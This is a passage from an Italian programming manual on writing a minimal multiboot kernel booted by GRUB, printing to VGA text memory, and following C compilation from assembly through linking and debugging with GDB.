    pushl %ebx          # Puntatore alla struttura contenente le
                        # informazioni passate dal sistema di avvio.
    pushl %eax          # Codice di riconoscimento del sistema di avvio.
    #
    call _kernel        # Chiama la funzione _kernel()
    #
halt:
    hlt                 # Se il kernel termina, ferma il microprocessore.
    jmp halt            # Se non si è fermato, crea un ciclo senza fine.
#
# Alla fine del programma, viene collocato lo spazio per la pila
# dei dati, senza inizializzarlo. Per scrupolo si allinea ai
# 4 byte (32 bit).
#
.align 4
.comm stack_max, STACK_SIZE
#
```

Listato 76.68. File '`kernel.c`' che potrebbe contenere idealmente il kernel di un piccolo sistema operativo. In questo caso il programma non fa alcunché e ignora anche la presenza di parametri nella chiamata.

```
void _kernel(void)
{
     ;
}
```

Listato 76.69. File '`linker.ld`', da usare come script per GNU LD. Si può osservare che la sezione '**`.data`**' viene distanziata da '**`.text`**' e '**`.rodata`**', in quanto si deve collocare in una pagina di memoria differente, per poter limitare i permessi di accesso in scrittura ai soli dati variabili.

```
ENTRY (_loader)
SECTIONS {
    . = 0x00100000;
    .text : { *(.text) }
    .rodata : { *(.rodata) }
    .data ALIGN (0x1000) : { *(.data) }
    .bss : {
        _sbss = .;
        *(.bss)
        *(COMMON)
        _ebss = .;
    }
```

```
}
```

Listato 76.70. File ‘`Makefile`’ da usare per la compilazione.

```
all: loader kernel link
#
clean:
	rm *.o
	rm kernel
#
loader:
	as -o loader.o loader.s
#
kernel:
	gcc -Wall -Werror -o kernel.o -c kernel.c \
	    -nostdlib -nostartfiles -nodefaultlibs
#
link:
	ld --script=linker.ld -o kernel loader.o kernel.o
```

Per avviare il programma che si ottiene, si può usare GRUB 1, utilizzando le direttive seguenti nel suo file di configurazione:

```
...
title  mio kernel
kernel (fd0)/kernel
...
```

In questo caso si suppone di utilizzare un dischetto per l’avvio e che il file da avviare sia ‘`kernel`’, contenuto proprio nella radice.

76.5.3 Visualizzazione di messaggi

Quando si scrive un programma autonomo, come descritto sinteticamente nella sezione precedente, occorre considerare che il linguaggio C non può essere usato sfruttando le librerie consuete, pertanto occorre produrre tutto internamente, anche le funzioni per la visualizzazione dei messaggi. I listati seguenti vanno a sostituire il file ‘`kernel.c`’ della sezione precedente, allo scopo di visualizzare qualcosa sullo schermo (il contenuto dei primi campi della struttura informativa creata dal sistema di avvio), attraverso delle funzioni elementari definite internamente.

Per visualizzare un messaggio sullo schermo di un elaboratore x86 è necessario scrivere in una porzione di memoria che parte dall’indirizzo $B8000_{16}$ (a partire da 736 Kibyte), utilizzando coppie di byte, dove il primo byte è un codice che descrive i colori da usare per il carattere e il suo sfondo, mentre il secondo contiene il carattere da visualizzare. Nel programma il codice in questione è 07_{16} che mostra un carattere bianco su sfondo nero. Ciò che si deve osservare è che il programma tratta la coppia di byte come un numero a 16 bit, nel quale il carattere e

il suo codice di visualizzazione sembrano invertiti, a causa del fatto che l'architettura è di tipo *little endian*.

Listato 76.72. File '`kernel.c`' che include automaticamente i file '`display.c`' e '`multiboot.c`'.

```
#include "display.c"
#include "multiboot.c"
//
//
//
void _kernel(unsigned long magic, type_multiboot_info *info)
{
    clear_screen ();
    //
    print_string ("Salve!\n\0");
    //
    if (magic == 0x2BADB002)
      {
        print_string ("Sono stato avviato attraverso un sistema \0");
        print_string ("di avvio aderente alle specifiche \n\0");
        print_string ("\"multiboot\". Ecco solo alcune informazioni:\n\0");
        multiboot_information (info);
      }
    else
      {
        print_string ("Sono stato avviato attraverso un sistema \0");
        print_string ("di avvio che non e` conforme alle specifiche\n\0");
        print_string ("\"multiboot\".\n\0");
      }
}
```

Listato 76.73. File '`display.c`', contenente le funzioni necessarie a visualizzare stringhe e numeri in forma di stringa.

```
static unsigned short *Screen = (unsigned short *) 0xB8000;
//
static const unsigned int Rows = 25, Columns = 80;
static       unsigned int Row = 0, Column = 0;
static       unsigned char Attrib = 0x07;
//
//
//
static unsigned short screen_cell (unsigned char c, unsigned char attrib)
{
    //
    // Assembla i due caratteri in un numero a 16 bit.
    //
    return (short) c | (((short) attrib) * 0x100);
}
//
//
//
static void clear_screen (void)
```

```
{
    unsigned int i;
    //
    for (i = 0; i < (Rows * Columns) ; i++)
      {
        //
        // Scrive uno spazio nella posizione.
        //
        *(Screen + i) = screen_cell (0x20, Attrib);
      }
}
//
//
//
static void new_line (void)
{
    int i, j;
    //
    Column = 0;
    Row++;
    //
    if (Row >= Rows)
      {
        //
        // Copia il testo in su.
        //
        for (i = 0; i < (Rows - 1) * Columns ; i++)
          {
            j = i + Columns;
            //
            // Trascrive la cella della riga successiva.
            //
            *(Screen + i) = *(Screen + j);
          }
        //
        // Mette l'indice di riga nell'ultima posizione.
        //
        Row = Rows - 1;
        //
        // Pulisce la riga alla base dello schermo.
        //
        for (i = ((Rows - 1) * Columns); i < (Rows * Columns) ; i++)
          {
            //
            // Cancella la cella dello schermo.
            //
            *(Screen + i) = screen_cell (0x20, Attrib);
          }
      }
}
//
//
//
```

```
static void print_char (unsigned char c)
{
    //
    // Put the character.
    //
    if (c == '\n' || c == '\r')
      {
        new_line ();
      }
    else
      {
        *(Screen + (Row * Columns + Column)) = screen_cell (c, Attrib);
        //
        // Move cursor.
        //
        Column++;
        if (Column >= Columns)
          {
            new_line ();
          }
      }
}
//
//
//
static void print_string (char *string)
{
    unsigned int i;
    //
    for (i = 0; i < 100000 ; i++)
      {
        if (string[i] != 0)
          {
            print_char (string[i]);
          }
        else
          {
            break;
          }
      }
}
//
//
//
static void reverse_string (char *string)
{
    unsigned int i, j;
    unsigned char c;
    //
    // Scandisce la stringa alla ricerca del valore a zero.
    //
    for (i = 0; string[i] != 0; i++)
      {
```

```
        ;
      }
    //
    // L'indice "i" punta alla cella a zero.
    // Viene rimesso l'indice "i" in modo da puntare
    // all'ultimo carattere.
    //
    i--;
    //
    // Si inverte l'ordine delle cifre.
    //
    for (j = 0; j < i; j++, i--)
      {
        c = string[i];
        string[i] = string[j];
        string[j] = c;
      }
    //
}
//
//
//
static void num_to_string (unsigned long num, unsigned int base, char *string)
{
    unsigned int i;
    unsigned char remainder;
    //
    if (num == 0)
      {
        string[0] = '0';
        string[1] = 0;
        return;
      }
    //
    for (i = 0; num != 0; i++)
      {
        remainder = num % base;
        num = num / base;
        //
        if (remainder <= 9)
          {
            string[i] = '0' + remainder;
          }
        else
          {
            string[i] = 'A' + remainder - 10;
          }
      }
    //
    // Aggiunge la terminazione, tenendo conto che l'indice "i"
    // è già posizionato dopo l'ultima cifra inserita.
    //
    string[i] = 0;
```

```
    //
    reverse_string (string);
}
//
//
//
static void print_num (unsigned long num, char base)
{
    char string[100];
    //
    if (base == 'x')
      {
        num_to_string (num, 16, string);
        print_string ("0x\0");
        print_string (string);
      }
    else if (base == 'o')
      {
        num_to_string (num, 8, string);
        print_string ("0o\0");
        print_string (string);
      }
    else if (base == 'b')
      {
        num_to_string (num, 2, string);
        print_string ("0b\0");
        print_string (string);
      }
    else
      {
        num_to_string (num, 10, string);
        print_string (string);
      }
}
```

Listato 76.74. File '`multiboot.c`', contenente la definizione parziale della struttura delle informazioni *multiboot* e la funzione necessaria a visualizzarne il contenuto.

```
//
// The multiboot information.
//
typedef struct multiboot_info
{
    unsigned long flags;
    unsigned long mem_lower;
    unsigned long mem_upper;
    unsigned long boot_device;
             char *cmdline;
} type_multiboot_info;
//
//
//
static void multiboot_information (type_multiboot_info *info)
```

```
{
    print_string ("flags:       \0");
    print_num (info->flags, 'b');
    print_string ("\n\0");
    //
    if ((info->flags & 1) > 0)
      {
        print_string ("mem_lower:   \0");
        print_num (info->mem_lower, 'x');
        print_string (" \0");
        print_num (info->mem_lower, 'd');
        print_string (" Kibyte\0");
        print_string ("\n\0");
        //
        print_string ("mem_upper:   \0");
        print_num (info->mem_upper, 'x');
        print_string (" \0");
        print_num (info->mem_upper, 'd');
        print_string (" Kibyte\0");
        print_string ("\n\0");
      }
    if ((info->flags & 2) > 0)
      {
        print_string ("boot_device: \0");
        print_num (info->boot_device, 'x');
        print_string ("\n\0");
      }
    if ((info->flags & 4) > 0)
      {
        print_string ("cmdline:     \0");
        print_string (info->cmdline);
        print_string ("\n\0");
      }
}
```

Utilizzando questo programma si potrebbe visualizzare una schermata simile a quella seguente:

```
Salve!
Sono stato avviato attraverso un sistema di avvio aderente alle specifiche
"multiboot". Ecco solo alcune informazioni:
flags:       0b11111100111
mem_lower:   0x27F 639 Kibyte
mem_upper:   0x7C00 31744 Kibyte
boot_device: 0xFFFFFF
cmdline:     (fd0)/kernel
```

76.5.4 Colori dello schermo

Nella sezione precedente si accenna al fatto che a partire dall'indirizzo di memoria $B8000_{16}$, ciò che si scrive serve a ottenere una rappresentazione sullo schermo. Ogni carattere utilizza due byte, in quanto uno dei due contiene il carattere vero e proprio e l'altro l'attributo che ne definisce il colore. Il byte del colore va usato suddividendo i bit nel modo seguente:

0 = *normale*
1 = *lampeggiante*

7 6 5 4 3 2 1 0

colore dello sfondo *colore del carattere*

Come si vede, se è attivo il bit più significativo si ottiene un carattere lampeggiante, quindi i tre bit successivi descrivono lo sfondo e i quattro bit meno significativi descrivono invece il colore del carattere (in primo piano). Pertanto, i colori dello sfondo sono in quantità minore rispetto a quelli utilizzabili per il primo piano.

Tabella 76.77. Colore associato al primo piano o allo sfondo.

Codice	Sfondo	Primo piano
0_{16}	nero	nero
1_{16}	blu	blu
2_{16}	verde	verde
3_{16}	ciano (azzurro)	ciano (azzurro)
4_{16}	rosso	rosso
5_{16}	magenta (violetto)	magenta (violetto)
6_{16}	marrone	marrone
7_{16}	bianco	bianco
8_{16}	nero con lampeggio	grigio scuro
9_{16}	blu con lampeggio	blu chiaro
A_{16}	verde con lampeggio	verde chiaro
B_{16}	ciano con lampeggio	ciano chiaro
C_{16}	rosso con lampeggio	rosa
D_{16}	magenta con lampeggio	magenta chiaro
E_{16}	marrone con lampeggio	giallo
F_{16}	bianco con lampeggio	bianco luminoso

Per esempio, un colore indicato come 28_{16} genera un testo di colore grigio scuro su sfondo verde, mentre $A0_{16}$ genera un testo lampeggiante nero su sfondo verde.

76.6 Compilazione C dal basso in alto

Il valore del linguaggio C sta nel consentire una programmazione molto vicina a livello del linguaggio macchina, in modo relativamente indipendente dall'architettura. Ma ciò si può comprendere solo se si conosce il contesto operativo del linguaggio assemblatore, in modo particolare per quanto riguarda la gestione della memoria e tanto più per il modo in cui si utilizza la pila dei dati.

Per la compilazione dei programmi di esempio si fa riferimento a GCC[3] (*GNU compiler collection*) e precisamente al programma frontale '**gcc**'.

76.6.1 Compilazione di un programma che non fa uso di librerie

Un programma in linguaggio C che non faccia uso di librerie di alcun tipo, deve seguire alcune regole che riguardano i programmi scritti in linguaggio assemblatore. Il listato seguente contiene la procedura per il calcolo del fattoriale, partendo da un valore già presente in memoria (si calcola precisamente il fattoriale di 5), ma il risultato non viene visualizzato in alcun modo, dal momento che questa sarebbe un'operazione che richiede proprio l'uso di librerie apposite:

```
int x = 5;
int i = 0;
void _start (void)
{
    i = (x - 1);
    while (i > 0)
      {
        x = x * i;
        i--;
      }
}
```

Se si conoscono i rudimenti del linguaggio C, si può osservare che, al posto della funzione ***main()***, appare invece ***_start()***, come si fa in un programma scritto in linguaggio assemblatore.

Supponendo che il file che contiene quanto mostrato si chiami '`fact.c`', la compilazione potrebbe iniziare dalla trasformazione in linguaggio assemblatore:

```
$ gcc -Wall -Werror -S -o fact.s fact.c ↩
↪     -nostdlib -nostartfiles -nodefaultlibs [Invio]
```

Si otterrebbe il file '`fact.s`', in linguaggio assemblatore, che, a seconda della versione di GCC, potrebbe essere molto simile al listato seguente:

```
        .file   "fact.c"
.globl x
        .data
        .align 4
        .type   x, @object
        .size   x, 4
```

```
x:
        .long   5
.globl i
        .bss
        .align 4
        .type   i, @object
        .size   i, 4
i:
        .zero   4
        .text
.globl _start
        .type   _start, @function
_start:
        pushl   %ebp
        movl    %esp, %ebp
        movl    x, %eax
        decl    %eax
        movl    %eax, i
        jmp     .L2
.L3:
        movl    x, %edx
        movl    i, %eax
        imull   %edx, %eax
        movl    %eax, x
        movl    i, %eax
        decl    %eax
        movl    %eax, i
.L2:
        movl    i, %eax
        testl   %eax, %eax
        jg      .L3
        popl    %ebp
        ret
        .size   _start, .-_start
        .ident  "GCC: (GNU) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)"
        .section        .note.GNU-stack,"",@progbits
```

Tale file in linguaggio assemblatore può essere compilato con GNU AS e GNU LD nel modo consueto:

$ **as -o fact.o fact.s** [*Invio*]

$ **ld -o fact fact.o** [*Invio*]

Si può ispezionare il programma ottenuto con Objdump:

$ **objdump -x fact** [*Invio*]

```
fact:     file format elf32-i386
fact
architecture: i386, flags 0x00000112:
```

```
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048094

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000000cd memsz 0x000000cd flags r-x
    LOAD off    0x000000d0 vaddr 0x080490d0 paddr 0x080490d0 align 2**12
         filesz 0x00000004 memsz 0x00000008 flags rw-
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         00000039  08048094  08048094  00000094  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000004  080490d0  080490d0  000000d0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000004  080490d4  080490d4  000000d4  2**2
                  ALLOC
  3 .comment      0000003a  00000000  00000000  000000d4  2**0
                  CONTENTS, READONLY
SYMBOL TABLE:
08048094 l    d  .text  00000000 .text
080490d0 l    d  .data  00000000 .data
080490d4 l    d  .bss   00000000 .bss
00000000 l    d  .comment       00000000 .comment
00000000 l    d  *ABS*  00000000 .shstrtab
00000000 l    d  *ABS*  00000000 .symtab
00000000 l    d  *ABS*  00000000 .strtab
00000000 l    df *ABS*  00000000 fact.c
080490d0 g     O .data  00000004 x
080490d4 g     O .bss   00000004 i
08048094 g     F .text  00000039 _start
080490d4 g       *ABS*  00000000 __bss_start
080490d4 g       *ABS*  00000000 _edata
080490d8 g       *ABS*  00000000 _end
```

È possibile fare in modo che GCC interpelli automaticamente GNU AS, in modo da generare un file oggetto senza mostrare la creazione del file in linguaggio assemblatore (la trasformazione in linguaggio assemblatore avviene ugualmente, in un file temporaneo che poi viene cancellato in modo automatico). Pertanto, la compilazione si ridurrebbe ai due comandi seguenti:

$ **gcc -Wall -Werror -c -o fact.o fact.c**↩
↪ **-nostdlib -nostartfiles -nodefaultlibs** [*Invio*]

$ **ld -o fact fact.o** [*Invio*]

È il caso di osservare che il programma eseguibile ottenuto dal sorgente mostrato, produce un errore, dal momento che manca la chiamata della funzione del sistema operativo che ne conclude l'attività.

76.6.2 Uso di GDB e di DDD

Per poter sfruttare programmi come GDB, allo scopo di analizzare il funzionamento del programma, è necessario inserire delle informazioni aggiuntive durante la fase di trasformazione nel formato del linguaggio assemblatore. In pratica, si tratta di utilizzare l'opzione '**-gstabs**', o altre simili, nella riga di comando di GCC. Riprendendo l'esempio della sezione precedente, la compilazione verrebbe eseguita con il comando seguente:

```
$ gcc -Wall -Werror -gstabs -S -o fact.s fact.c ↩
↪    -nostdlib -nostartfiles -nodefaultlibs [Invio]
```

In questo caso, nel file in linguaggio assemblatore si troverebbero delle informazioni in più:

```
        .file   "fact.c"
        .stabs  "fact.c",100,0,2,.Ltext0
        .text
.Ltext0:
        .stabs  "gcc2_compiled.",60,0,0,0
        .stabs  "int:t(0,1)=r(0,1);-2147483648;2147483647;",128,0,0,0
        .stabs  "char:t(0,2)=r(0,2);0;127;",128,0,0,0
        .stabs  "long int:t(0,3)=r(0,3);-2147483648;2147483647;",128,0,0,0
        .stabs  "unsigned int:t(0,4)=r(0,4);0;4294967295;",128,0,0,0
        .stabs  "long unsigned int:t(0,5)=r(0,5);0;4294967295;",128,0,0,0
        .stabs  "long long int:t(0,6)=r(0,6);-0;4294967295;",128,0,0,0
        .stabs  "long long unsigned int:t(0,7)=r(0,7);0;-1;",128,0,0,0
        .stabs  "short int:t(0,8)=r(0,8);-32768;32767;",128,0,0,0
        .stabs  "short unsigned int:t(0,9)=r(0,9);0;65535;",128,0,0,0
        .stabs  "signed char:t(0,10)=r(0,10);-128;127;",128,0,0,0
        .stabs  "unsigned char:t(0,11)=r(0,11);0;255;",128,0,0,0
        .stabs  "float:t(0,12)=r(0,1);4;0;",128,0,0,0
        .stabs  "double:t(0,13)=r(0,1);8;0;",128,0,0,0
        .stabs  "long double:t(0,14)=r(0,1);12;0;",128,0,0,0
        .stabs  "void:t(0,15)=(0,15)",128,0,0,0
.globl x
        .data
        .align 4
        .type   x, @object
        .size   x, 4
x:
        .long   5
.globl i
        .bss
        .align 4
        .type   i, @object
        .size   i, 4
i:
```

```
        .zero   4
        .text
        .stabs  "_start:F(0,15)",36,0,0,_start
.globl _start
        .type   _start, @function
_start:
        .stabn  68,0,4,.LM0-_start
.LM0:
        pushl   %ebp
        movl    %esp, %ebp
        .stabn  68,0,5,.LM1-_start
.LM1:
        movl    x, %eax
        decl    %eax
        movl    %eax, i
        .stabn  68,0,6,.LM2-_start
.LM2:
        jmp     .L2
.L3:
        .stabn  68,0,8,.LM3-_start
.LM3:
        movl    x, %edx
        movl    i, %eax
        imull   %edx, %eax
        movl    %eax, x
        .stabn  68,0,9,.LM4-_start
.LM4:
        movl    i, %eax
        decl    %eax
        movl    %eax, i
.L2:
        .stabn  68,0,6,.LM5-_start
.LM5:
        movl    i, %eax
        testl   %eax, %eax
        jg      .L3
        .stabn  68,0,11,.LM6-_start
.LM6:
        popl    %ebp
        ret
        .size   _start, .-_start
.Lscope0:
        .stabs  "x:G(0,1)",32,0,0,0
        .stabs  "i:G(0,1)",32,0,0,0
        .stabs  "",100,0,0,.Letext0
.Letext0:
        .ident  "GCC: (GNU) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)"
        .section        .note.GNU-stack,"",@progbits
```

Per la compilazione successiva non ci sono cambiamenti; va quindi osservato che non è più

compito di GNU AS l'inserimento di tali informazioni:

$ **as -o fact.o fact.s** [*Invio*]

$ **ld -o fact fact.o** [*Invio*]

Per utilizzare GDB o DDD si procede come nel caso di un programma che parte direttamente da un sorgente in linguaggio assemblatore:

$ **gdb fact** [*Invio*]

(gdb) **break _start** [*Invio*]

```
Breakpoint 1 at 0x8048097: file fact.c, line 5.
```

(gdb) **run** [*Invio*]

```
Breakpoint 1, _start () at fact.c:5
5           i = (x - 1);
```

(gdb) **stepi** [*Invio*]

```
0x0804809c      5           i = (x - 1);
```

(gdb) **stepi** [*Invio*]

```
0x0804809d in _start () at fact.c:5
5           i = (x - 1);
```

(gdb) **stepi** [*Invio*]

```
6           while (i > 0)
```

Come si può osservare, occorrono più comandi di avanzamento per passare alla riga successiva del codice originale, perché in realtà si fa riferimento alle istruzioni in linguaggio macchina.

(gdb) **print i** [*Invio*]

```
$1 = 4
```

(gdb) **print x** [*Invio*]

```
$2 = 5
```

(gdb) **quit** [*Invio*]

Naturalmente, se si può utilizzare DDD, tutto diventa più semplice:

$ **ddd fact** [*Invio*]

Figura 76.89. DDD che mette in evidenza lo stato di due variabili (si attiva la loro visualizzazione facendo un clic sul pulsante a icona denominato DISPLAY) durante il funzionamento, passo passo, del programma.

```
1 int x = 5;
2 int i = 0;
3 void _start ()
4 {
5     i = (x - 1);
6     while (i > 0)
7       {
8         x = x * i;
9         i--;
10      }
11 }

0x080480af <_start+27>: imul   %edx,%eax
0x080480b2 <_start+30>: mov    %eax,0x80490d0
0x080480b7 <_start+35>: mov    0x80490d4,%eax
0x080480bc <_start+40>: dec    %eax

(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb)
```

76.6.3 Da «_start» a «main»

Per fare in modo che un programma in linguaggio C inizi dalla funzione ***main()***, così come si prevede sia, si può istruire il collegatore (*linker*), attraverso uno script apposito che, in un sistema GNU/Linux, potrebbe essere come quello seguente:

```
ENTRY (main)
SECTIONS {
    . = 0x08048000 + SIZEOF_HEADERS;
    .text . : { *(.text) }
    .data ALIGN (0x1000) : { *(.data) }
    .bss . : {
        _sbss = .;
        *(.bss)
        *(COMMON)
        _ebss = .;
    }
}
```

Il nuovo sorgente C:

```
int x = 5;
int i = 0;
int main ()
{
    i = (x - 1);
    while (i > 0)
      {
        x = x * i;
        i--;
      }
    return x;
}
```

Per la compilazione, i passaggi sarebbero quelli seguenti, supponendo che lo script per GNU LD sia contenuto nel file '`config.ld`':

```
$ gcc -Wall -Werror -S -o fact.s fact.c ↩
↪     -nostdlib -nostartfiles -nodefaultlibs [Invio]
```

```
$ as -o fact.o fact.s [Invio]
```

```
$ ld -T config.ld -o fact fact.o [Invio]
```

Tuttavia, rimane ancora il problema della conclusione del programma che non avviene in modo grazioso. Se si osserva la nuova versione del programma, la funzione (che ora si chiama ***main()***) restituisce un valore intero, corrispondente al risultato del calcolo eseguito, solo che non è stato chiarito in che modo quel valore debba essere acquisito dal sistema operativo. Si può quindi procedere in un modo diverso, creando un piccolo programma in linguaggio assemblatore, da associare a quello in linguaggio C:

```
.section .text
.globl _start
.extern main
_start:
    call  main
    mov   %eax, %ebx
    mov   $1, %eax
    int   $0x80
```

Supponendo che questo file si chiami '**`start.s`**', la compilazione complessiva potrebbe essere svolta nel modo seguente:

```
$ gcc -Wall -Werror -gstabs -S -o fact.s fact.c ↩
↪     -nostdlib -nostartfiles -nodefaultlibs [Invio]
```

```
$ as -o fact.o fact.s [Invio]
```

```
$ as --gstabs -o start.o start.s [Invio]
```

$ **ld -o fact start.o fact.o** [*Invio*]

Come si vede sono state aggiunte le opzioni '**-gstabs**' e '**--gstabs**', dove appropriato; inoltre non serve più lo script per GNU LD. Se si avvia il programma, questo si arresta correttamente restituendo il fattoriale di 5:

$ **./fact ; echo $?** [*Invio*]

```
120
```

76.6.4 Compilazione naturale di un programma in linguaggio C

Quando non si utilizzano le opzioni '**-nostdlibs**', '**-nostartfiles**' e '**-nodefaultlibs**', la compilazione attraverso GCC avviene in modo più intuitivo, con l'inclusione automatica di tutto quello che è necessario per far sì che il programma parta dalla propria funzione ***main()***; inoltre, se non si specifica il nome che si vuole produrre, si ottiene direttamente un file eseguibile con il nome '`a.out`', secondo la tradizione.

In condizioni normali vengono inclusi nella compilazione alcuni file-oggetto che hanno un nome corrispondente al modello '`crt*.o`' e la libreria Libc. All'interno di uno di quei file-oggetto si trova la funzione ***_start()***, dalla quale si arriva poi alla chiamata di ***main()*** in modo analogo a quanto mostrato nella sezione precedente, ma questi file potrebbero coinvolgere anche la libreria Libc.

L'opzione '**-nostartfiles**' serve a impedire che vengano incorporati automaticamente i file che contengono la funzione ***_start()*** e tutto ciò che altrimenti si prevede di far fare al programma prima di entrare nella funzione ***main()***. L'opzione '**-nodefaultlibs**' serve a impedire l'inclusione automatica della libreria Libc. L'opzione '**-nostdlibs**' richiede entrambe le cose ed è stata usata negli esempi in modo ridondante.

Ecco la classica compilazione che produce direttamente il file eseguibile con il nome '`a.out`':

$ **gcc -Wall -Werror -gstabs fact.c** [*Invio*]

> Per buona abitudine è bene usare sempre l'opzione '**-Wall**' e possibilmente anche '**-Werror**'; inoltre, l'uso di '**-gstabs**' diventa essenziale per potersi avvalere di programmi come '**GDB**'.

Si può verificare che questo basta per arrivare al risultato voluto:

$ **./a.out ; echo $?** [*Invio*]

```
120
```

Se poi si vogliono usare comandi tradizionali, da '**gcc**' occorre passare a '**cc**', ma in un sistema GNU si tratta normalmente di un collegamento simbolico a '**gcc**' stesso.

Tabella 76.95. Riepilogo delle opzioni utilizzate con '**gcc**' nel corso del capitolo.

Opzione	Descrizione
`-S`	Genera un file in linguaggio assemblatore (prevale sull'opzione '**-c**').
`-o` ***nome_file***	Dichiara il nome del file che si vuole ottenere.
`-c`	Fa sì che la compilazione salti la fase di collegamento (*link*). In condizioni normali serve a generare solo i file-oggetto. Se si usa questa opzione, ma non si specifica l'opzione '**-o**', il file-oggetto ha un nome con la stessa radice del file sorgente e l'estensione '`.o`'.
`-Wall`	Richiede di mostrare tutti i messaggi che avvertono dell'uso imperfetto del linguaggio (*warning*).
`-Werror`	Fa sì che tutte le segnalazioni di avvertimento siano trattate come errori e portino al fallimento della compilazione.
`-gstabs`	Inserisce delle annotazioni, con le quali i programmi come GDB possono abbinare il sorgente originale all'esecuzione controllata del programma.

76.7 Compilazione C dall'alto in basso

Tradizionalmente, la compilazione di un programma scritto in linguaggio C avviene utilizzando il comando '**cc**' come nell'esempio seguente, sapendo che se non si usa l'opzione '**-o**' si ottiene il file '`a.out`':

$ **cc mio.c** [*Invio*]

Tuttavia, l'elaborazione del file in linguaggio C richiede diversi passaggi, prima di arrivare al file eseguibile finale; passaggi che è bene tenere in considerazione.

In un sistema GNU il compilatore standard è GCC (*GNU compiler collection*) che si usa sia per il C, sia per altri linguaggi. Nel caso del linguaggio C, il programma frontale è precisamente '**gcc**', al quale corrisponde comunque il collegamento '**cc**'.

Qui non si esaurisce il problema e si accenna soltanto alle situazioni più comuni. Per un approfondimento si vedano i documenti citati nella bibliografia che conclude il capitolo.

76.7.1 Le fasi della compilazione

La compilazione di un programma scritto in linguaggio C prevede diverse fasi: precompilazione, trasformazione in linguaggio assemblatore, trasformazione in file-oggetto, collegamento (*link*) di uno o più file-oggetto in un file eseguibile. Per conservare i file intermedi della compilazione si può usare l'opzione '**-save-temps**' di '**gcc**', come nell'esempio seguente:

$ **gcc -save-temps mio.c** [*Invio*]

In questo caso si ottengono i file '`mio.i`', '`mio.s`' e '`mio.o`', contenenti rispettivamente il risultato elaborato dal precompilatore, la trasformazione in linguaggio assemblatore e il file-oggetto finale. Se poi il programma contenuto nel file sorgente è completo, si ottiene anche il file '`a.out`' che costituisce il programma eseguibile.

Eventualmente, alcune opzioni di '**gcc**' consentono di fermare l'elaborazione a uno stadio prestabilito: '**-E**' serve a ottenere solo l'elaborazione da parte del precompilatore; '**-S**' serve a ottenere il sorgente in linguaggio assemblatore; '**-c**' serve a compilare, ma senza eseguire il collegamento finale (pertanto si ottiene il file-oggetto rilocabile).

76.7.2 Precompilatore

Ogni compilatore C «standard» prevede che il file sorgente venga elaborato, prima della compilazione vera e propria, attraverso un precompilatore, il quale elabora il sorgente e genera un altro sorgente ottenuto dall'interpretazione delle istruzioni di «precompilazione». Queste istruzioni di precompilazione costituiscono un linguaggio indipendente dal C vero e proprio. Il precompilatore di GCC è '**cpp**' e di norma viene chiamato automaticamente da '**gcc**' stesso, come già accennato nella sezione precedente.

```
#include <stdio.h>
int main (void)
{
    printf ("Ciao a tutti!\n");
    return 0;
}
```

Nell'esempio mostrato, l'istruzione '**#include <stdio.h>**' riguarda il precompilatore e richiede l'inclusione del file '`stdio.h`' in quella posizione (il file si deve trovare all'interno di una directory prestabilita). Con l'opzione '**-E**' di '**gcc**' (oppure anche con '**-save-temps**') si può vedere il risultato della precompilazione:

$ **gcc -E -o mio.i mio.c**[*Invio*]

Il file '`mio.i`' che si genera dall'elaborazione ha un aspetto simile al pezzo che si vede nel listato successivo:

```
# 1 "mio_file.c"
# 1 "<built-in>"
# 1 "<command line>"
…
…
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
…
…
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__));
# 834 "/usr/include/stdio.h" 3 4

# 2 "mio_file.c" 2
int main (void)
{
    printf ("Ciao a tutti!\n");
    return 0;
}
```

76.7.3 Compilazione dei file intermedi

Di norma, ogni compilatore tradizionale del linguaggio C si prende cura di tutte le fasi della compilazione, chiamando a sua volta i programmi necessari. Pertanto, con lo stesso programma frontale è possibile avviare manualmente la compilazione da fasi successive. Per esempio:

1. $ **cc mio_file.i** [*Invio*]

2. $ **cc mio_file.s** [*Invio*]

3. $ **cc mio_file.o** [*Invio*]

Negli esempi si mostra l'uso del comando '**cc**', ma '**gcc**' è perfettamente conforme a questa convenzione tradizionale. Come si può intuire, dall'estensione del nome del file il programma frontale determina quali azioni deve intraprendere: nel primo caso avvia la compilazione saltando solo la fase iniziale dell'analisi del precompilatore; nel secondo caso avvia l'assemblatore (e quindi continua con il collegatore); nell'ultimo caso avvia soltanto il collegatore (*linker*).

Naturalmente è possibile mescolare file differenti assieme, se la somma di questi deve portare a un solo file-eseguibile finale. Per esempio, si può compilare un programma composto dai file 'uno.c', 'due.i', 'tre.s' e 'quattro.o', dove ognuno viene elaborato in base alle proprie esigenze e alla fine il tutto viene collegato assieme:

$ **cc uno.c due.i tre.s quattro.o** [*Invio*]

76.7.4 L'uso di librerie

In generale, la compilazione di un programma scritto secondo il linguaggio C implica automaticamente l'utilizzo della libreria Libc e il collegamento (*link*) con dei file-oggetto predefiniti, che contengono il codice necessario a preparare il programma prima di passare all'esecuzione della funzione ***main()***.

Con '**gcc**', per escludere l'utilizzo di qualunque libreria predefinita vanno usate le opzioni '**-nostartfiles**' e '**-nodefaultlibs**'; eventualmente l'opzione '**-nostdlibs**' dovrebbe valere per entrambe queste opzioni e può essere usata assieme a loro, benché sia ridondante.

Quando si fa uso di funzioni che non sono state dichiarate nel proprio programma, si tratta sempre di qualcosa che è contenuto in una libreria, di solito quella predefinita (Libc), ma per usarle correttamente è indispensabile che sia inserita all'inizio del file la dichiarazione del loro prototipo. Per questo, a seconda delle funzioni che si utilizzano, si includono i file che contengono i prototipi necessari; nel caso della funzione ***printf()*** si include comunemente il file 'stdio.h'.

